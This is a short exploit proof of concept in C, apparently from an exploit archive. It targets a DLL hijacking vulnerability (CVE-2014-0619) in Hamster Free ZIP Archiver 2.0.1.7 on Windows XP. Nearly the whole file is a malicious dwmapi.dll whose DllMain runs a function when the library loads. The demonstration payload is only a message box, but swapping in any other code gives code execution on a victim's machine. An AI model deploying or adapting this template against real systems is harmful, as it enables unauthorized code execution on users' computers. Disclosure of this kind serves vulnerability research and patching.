`/*
* Title: Hamster Free ZIP Archiver Dll Hijacking Exploit 2.0.1.7 (dwmapi.dll)
* Version: 2.0.1.7
* Tested on: Windows XP SP2 en
* Vendor: http://www.hamstersoft.com/
* Software-Link: http://www.hamstersoft.com/online/hfza_site/hfza_site_3_0_0_34_b26122013.exe
* E-Mail: osanda[at]unseen.is
* Author: Osanda Malith Jayathissa
* CVE : CVE-2014-0619
* /!\ Author is not responsible for any damage you cause
* Use this material for educational purposes only
*/
// All extensions are vulnerable
#include <windows.h>
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
switch (fdwReason)
{
case DLL_PROCESS_ATTACH: owned();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
int owned() {
MessageBox(0, "Hamster Free ZIP Archiver DLL Hijacked\nOsanda Malith", "POC", MB_OK);
}
/*EOF*/
`